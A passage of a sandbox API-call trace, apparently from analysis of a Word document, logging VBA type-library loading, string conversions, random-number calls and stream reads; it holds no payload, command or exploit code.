16.0 object library", cchWideChar=142, lpMultiByteStr=0x7a01940, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0018.112] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a01940) [0018.112] wcscpy_s (in: _Destination=0x79fc848, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0018.112] wcsncpy_s (in: _Destination=0x3062b0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0018.112] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0018.112] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11c) returned 0x7a01940 [0018.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x7a01940, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0018.112] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a01940) [0018.112] wcsncpy_s (in: _Destination=0x306270, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.112] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x3061a0, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.112] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.112] IUnknown:AddRef (This=0x7346470) returned 0x3 [0018.113] IUnknown:QueryInterface (in: This=0x7346470, riid=0x7fef10564b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306698 | out: ppvObject=0x306698*=0x0) returned 0x80004002 [0018.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x306660, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0018.113] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0018.113] IUnknown:Release (This=0x7346470) returned 0x2 [0018.113] GetModuleFileNameW (in: hModule=0x7fef0cc0000, lpFilename=0x7fef108a9f0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0018.113] QueryPathOfRegTypeLib (in: guid=0x7fef10626a0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x306700 | out: lpbstrPathName=0x306700) returned 0x0 [0018.115] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x306758*=0x0 | out: pptlib=0x306758*=0x7919520) returned 0x0 [0018.122] IUnknown:AddRef (This=0x7919520) returned 0x2 [0018.122] ITypeLib:RemoteGetDocumentation (in: This=0x7919520, index=-1, refPtrFlags=0x306778, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x199d00 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x199d00*="鴀\x19") returned 0x0 [0018.122] IUnknown:QueryInterface (in: This=0x7919520, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306568 | out: ppvObject=0x306568*=0x0) returned 0x80004002 [0018.122] ITypeLib:RemoteGetLibAttr (in: This=0x7919520, ppTLibAttr=0x306560, pDummy=0x10 | out: ppTLibAttr=0x306560, pDummy=0x10) returned 0x0 [0018.122] ITypeLib:RemoteGetDocumentation (in: This=0x7919520, index=-1, refPtrFlags=0x0, pbstrName=0x306558, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68752a9f1e0e | out: pbstrName=0x306558*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68752a9f1e0e) returned 0x0 [0018.122] StringFromGUID2 (in: rguid=0x78200a0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x306580, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0018.122] _ultow_s (in: _Value=0x4, _Buffer=0x3064ca, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0018.122] _ultow_s (in: _Value=0x2, _Buffer=0x3064ce, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0018.122] _ultow_s (in: _Value=0x9, _Buffer=0x3064d2, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0018.122] wcscpy_s (in: _Destination=0x2d14f08, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.122] wcscpy_s (in: _Destination=0x2d14f0e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0018.122] wcscpy_s (in: _Destination=0x2d14f5a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0018.122] wcscpy_s (in: _Destination=0x2d14f68, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0018.122] wcscpy_s (in: _Destination=0x2d14fee, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0018.123] ITypeLib:LocalReleaseTLibAttr (This=0x7919520) returned 0x0 [0018.123] wcscpy_s (in: _Destination=0x79be108, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0018.123] ITypeLib:RemoteGetDocumentation (in: This=0x7919520, index=-1, refPtrFlags=0x306678, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0018.123] SysStringLen (param_1="VBA") returned 0x3 [0018.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0018.123] SysStringLen (param_1="VBA") returned 0x3 [0018.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x75c9478, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0018.123] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0018.123] strcpy_s (in: _Dst=0x306470, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0018.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x306470, cbMultiByte=4, lpWideCharStr=0x3062c0, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0018.123] IUnknown:AddRef (This=0x7346470) returned 0x3 [0018.123] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x306390, pBstrLibName=0x3062c0 | out: pfName=0x306390*=0, pBstrLibName=0x3062c0) returned 0x0 [0018.123] IUnknown:Release (This=0x7346470) returned 0x2 [0018.123] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc) returned 0x796c5a0 [0018.123] IMalloc:Free (This=0x7fefe9e5380, pv=0x78201f0) [0018.123] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78201f0 [0018.123] IMalloc:Free (This=0x7fefe9e5380, pv=0x796c5a0) [0018.123] wcsncpy_s (in: _Destination=0x306270, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0018.123] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0018.123] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x122) returned 0x7a01940 [0018.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x7a01940, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0018.123] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a01940) [0018.123] wcscpy_s (in: _Destination=0x5587008, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0018.123] wcsncpy_s (in: _Destination=0x3062b0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0018.123] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0018.123] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x122) returned 0x7a01940 [0018.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x7a01940, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0018.123] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a01940) [0018.123] wcsncpy_s (in: _Destination=0x306270, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.123] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x3061a0, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.123] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.124] IUnknown:AddRef (This=0x7919520) returned 0x3 [0018.124] IUnknown:QueryInterface (in: This=0x7919520, riid=0x7fef10564b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306698 | out: ppvObject=0x306698*=0x0) returned 0x80004002 [0018.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x306660, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0018.124] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0018.124] IUnknown:Release (This=0x7919520) returned 0x2 [0018.124] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7690 [0018.124] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x79f7690) returned 0x0 [0018.124] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f76a0 [0018.124] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x79f76a0) returned 0x0 [0018.124] VirtualQuery (in: lpAddress=0x306c40, lpBuffer=0x306c00, dwLength=0x30 | out: lpBuffer=0x306c00*(BaseAddress=0x306000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0xfffffa80, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.124] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f76b0 [0018.124] qsort (in: _Base=0x79f76b0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fef0e1db70 | out: _Base=0x79f76b0) [0018.138] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f76b0) [0018.138] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796c5a0 [0018.138] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc) returned 0x796c6e0 [0018.138] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x796c6e0) returned 0xc [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0018.138] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0018.138] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f76a0) [0018.138] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7690) [0018.138] CoCreateGuid (in: pguid=0x306d48 | out: pguid=0x306d48*(Data1=0x7a9065d5, Data2=0xa1b1, Data3=0x4661, Data4=([0]=0x8e, [1]=0xb4, [2]=0xbc, [3]=0x1e, [4]=0x4d, [5]=0x78, [6]=0xa5, [7]=0x97))) returned 0x0 [0018.138] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x6b0) returned 0x7aae330 [0018.138] srand (_Seed=0x5196) [0018.138] rand () returned 2707 [0018.138] rand () returned 5367 [0018.138] rand () returned 3107 [0018.138] rand () returned 25991 [0018.138] rand () returned 22224 [0018.138] rand () returned 7173 [0018.138] rand () returned 3305 [0018.138] rand () returned 5542 [0018.138] rand () returned 21093 [0018.138] rand () returned 7093 [0018.138] rand () returned 29645 [0018.138] rand () returned 30555 [0018.138] rand () returned 4452 [0018.138] rand () returned 15519 [0018.138] rand () returned 22682 [0018.138] rand () returned 20118 [0018.139] rand () returned 26125 [0018.139] rand () returned 28117 [0018.139] rand () returned 31912 [0018.139] rand () returned 27549 [0018.139] rand () returned 25247 [0018.139] rand () returned 12135 [0018.139] rand () returned 31572 [0018.139] rand () returned 27055 [0018.139] rand () returned 11630 [0018.139] rand () returned 26157 [0018.139] rand () returned 24237 [0018.139] rand () returned 16615 [0018.139] rand () returned 23350 [0018.139] rand () returned 7360 [0018.139] rand () returned 27760 [0018.139] rand () returned 12132 [0018.139] rand () returned 17327 [0018.139] rand () returned 21962 [0018.139] rand () returned 16183 [0018.139] rand () returned 15783 [0018.139] rand () returned 1121 [0018.139] rand () returned 21376 [0018.139] rand () returned 32749 [0018.139] rand () returned 25148 [0018.139] rand () returned 9658 [0018.139] rand () returned 30828 [0018.139] rand () returned 21381 [0018.139] rand () returned 2205 [0018.139] rand () returned 5726 [0018.139] rand () returned 9584 [0018.139] rand () returned 20715 [0018.139] rand () returned 32595 [0018.139] rand () returned 28862 [0018.139] rand () returned 14600 [0018.139] rand () returned 4923 [0018.139] rand () returned 4446 [0018.139] rand () returned 16108 [0018.139] rand () returned 5071 [0018.139] rand () returned 15410 [0018.139] rand () returned 20183 [0018.139] rand () returned 12462 [0018.139] rand () returned 17989 [0018.139] rand () returned 31458 [0018.139] rand () returned 18644 [0018.139] rand () returned 30673 [0018.139] rand () returned 19407 [0018.139] rand () returned 27305 [0018.139] rand () returned 17548 [0018.139] rand () returned 16063 [0018.139] rand () returned 30463 [0018.139] rand () returned 24163 [0018.139] rand () returned 10684 [0018.139] rand () returned 27988 [0018.139] rand () returned 29462 [0018.139] rand () returned 27615 [0018.139] rand () returned 12361 [0018.139] rand () returned 12270 [0018.139] rand () returned 32455 [0018.139] rand () returned 19344 [0018.139] rand () returned 4390 [0018.139] rand () returned 29891 [0018.139] rand () returned 17470 [0018.139] rand () returned 24709 [0018.139] rand () returned 15992 [0018.139] rand () returned 21368 [0018.139] rand () returned 29281 [0018.139] rand () returned 31899 [0018.139] rand () returned 26360 [0018.140] rand () returned 4847 [0018.140] rand () returned 31574 [0018.140] rand () returned 13554 [0018.140] rand () returned 18585 [0018.140] rand () returned 16736 [0018.140] rand () returned 7237 [0018.140] rand () returned 23197 [0018.140] rand () returned 5740 [0018.140] rand () returned 4779 [0018.140] rand () returned 4703 [0018.140] rand () returned 27550 [0018.140] rand () returned 30144 [0018.140] rand () returned 30956 [0018.140] rand () returned 8479 [0018.140] rand () returned 4113 [0018.140] rand () returned 22157 [0018.140] rand () returned 11088 [0018.140] rand () returned 19919 [0018.140] rand () returned 30631 [0018.140] rand () returned 11027 [0018.140] rand () returned 3880 [0018.140] rand () returned 29775 [0018.140] rand () returned 11094 [0018.140] rand () returned 17086 [0018.140] rand () returned 14140 [0018.140] rand () returned 6418 [0018.140] rand () returned 10063 [0018.140] rand () returned 19533 [0018.140] rand () returned 28002 [0018.140] rand () returned 7273 [0018.140] rand () returned 20785 [0018.140] rand () returned 17203 [0018.140] rand () returned 31311 [0018.140] rand () returned 13060 [0018.140] rand () returned 7804 [0018.140] rand () returned 19517 [0018.140] rand () returned 8108 [0018.140] rand () returned 18357 [0018.140] rand () returned 32584 [0018.140] rand () returned 17782 [0018.140] rand () returned 30829 [0018.140] rand () returned 10872 [0018.140] rand () returned 24887 [0018.140] rand () returned 3400 [0018.140] rand () returned 13150 [0018.140] rand () returned 12465 [0018.140] rand () returned 24232 [0018.140] rand () returned 17635 [0018.140] rand () returned 23550 [0018.140] rand () returned 10932 [0018.140] rand () returned 28205 [0018.140] rand () returned 4579 [0018.140] rand () returned 9617 [0018.140] rand () returned 21130 [0018.140] rand () returned 9792 [0018.140] rand () returned 9004 [0018.140] rand () returned 27761 [0018.140] rand () returned 6131 [0018.140] rand () returned 26929 [0018.140] rand () returned 32025 [0018.140] rand () returned 24997 [0018.140] rand () returned 28071 [0018.140] rand () returned 3427 [0018.140] rand () returned 20695 [0018.140] rand () returned 5300 [0018.140] rand () returned 31713 [0018.140] rand () returned 21944 [0018.140] rand () returned 25355 [0018.140] rand () returned 20411 [0018.141] rand () returned 23582 [0018.141] rand () returned 20042 [0018.141] rand () returned 17851 [0018.141] rand () returned 31166 [0018.141] rand () returned 16930 [0018.141] rand () returned 24924 [0018.141] rand () returned 26987 [0018.141] rand () returned 29500 [0018.141] rand () returned 13885 [0018.141] rand () returned 14480 [0018.141] rand () returned 18822 [0018.141] rand () returned 8454 [0018.141] rand () returned 17612 [0018.141] rand () returned 15962 [0018.141] rand () returned 14336 [0018.141] rand () returned 6481 [0018.141] rand () returned 18178 [0018.141] rand () returned 21428 [0018.141] rand () returned 3130 [0018.141] rand () returned 9993 [0018.141] rand () returned 10473 [0018.141] rand () returned 3603 [0018.141] rand () returned 14630 [0018.141] rand () returned 5992 [0018.141] rand () returned 20643 [0018.141] rand () returned 4506 [0018.141] rand () returned 3755 [0018.141] rand () returned 1480 [0018.141] rand () returned 2806 [0018.141] rand () returned 23438 [0018.141] rand () returned 10827 [0018.141] rand () returned 6581 [0018.141] rand () returned 8456 [0018.141] rand () returned 4363 [0018.141] rand () returned 23299 [0018.141] rand () returned 27463 [0018.141] rand () returned 31590 [0018.141] rand () returned 9717 [0018.141] rand () returned 31858 [0018.141] rand () returned 430 [0018.141] rand () returned 30283 [0018.141] rand () returned 28720 [0018.141] rand () returned 3390 [0018.141] rand () returned 8207 [0018.141] rand () returned 19232 [0018.141] rand () returned 31508 [0018.141] rand () returned 1204 [0018.141] rand () returned 21647 [0018.141] rand () returned 13119 [0018.141] rand () returned 12059 [0018.141] rand () returned 11182 [0018.141] rand () returned 32173 [0018.141] rand () returned 10236 [0018.141] rand () returned 8669 [0018.141] rand () returned 31930 [0018.141] rand () returned 14804 [0018.141] rand () returned 25574 [0018.141] rand () returned 8767 [0018.141] rand () returned 20344 [0018.141] rand () returned 30000 [0018.141] rand () returned 2378 [0018.141] rand () returned 21735 [0018.141] rand () returned 21316 [0018.141] rand () returned 2498 [0018.141] rand () returned 4601 [0018.141] rand () returned 29939 [0018.141] rand () returned 7445 [0018.141] rand () returned 9647 [0018.141] rand () returned 27723 [0018.142] rand () returned 3306 [0018.142] rand () returned 19621 [0018.142] rand () returned 27614 [0018.142] rand () returned 26980 [0018.142] rand () returned 15346 [0018.142] rand () returned 3283 [0018.142] rand () returned 705 [0018.142] rand () returned 24758 [0018.142] rand () returned 23364 [0018.142] rand () returned 29509 [0018.142] rand () returned 1395 [0018.142] rand () returned 11463 [0018.142] rand () returned 6110 [0018.142] rand () returned 849 [0018.142] rand () returned 2820 [0018.142] rand () returned 25909 [0018.142] rand () returned 21623 [0018.142] rand () returned 22558 [0018.142] rand () returned 14353 [0018.142] rand () returned 31223 [0018.142] rand () returned 26552 [0018.142] rand () returned 14854 [0018.142] rand () returned 3735 [0018.142] rand () returned 5093 [0018.142] rand () returned 2729 [0018.142] rand () returned 9023 [0018.142] rand () returned 28680 [0018.142] CoCreateGuid (in: pguid=0x7a1f528 | out: pguid=0x7a1f528*(Data1=0xd4ae824c, Data2=0x7c6b, Data3=0x419b, Data4=([0]=0x97, [1]=0x40, [2]=0x62, [3]=0xff, [4]=0x1e, [5]=0x37, [6]=0x97, [7]=0x2f))) returned 0x0 [0018.142] strcpy_s (in: _Dst=0x7a1f588, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0018.142] CExposedDocFile::OpenStream () returned 0x0 [0018.142] CExposedStream::Read () returned 0x0 [0018.142] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2028) returned 0x7ab69f0 [0018.143] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10020*=0x10128) returned 0x7ab8a20 [0018.143] CExposedStream::AddRef () returned 0x2 [0018.143] CExposedStream::Release () returned 0x1 [0018.143] CExposedStream::Read () returned 0x0 [0018.143] CExposedStream::Read () returned 0x0 [0018.144] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0018.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x306d44, cbMultiByte=2, lpWideCharStr=0x306d58, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0018.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x306cd0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.144] lstrcmpiA (lpString1="", lpString2="Project") returned -1 [0018.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0018.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x306bd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.144] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0018.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x306ae0, cbMultiByte=16, lpDefaultChar=0x0, 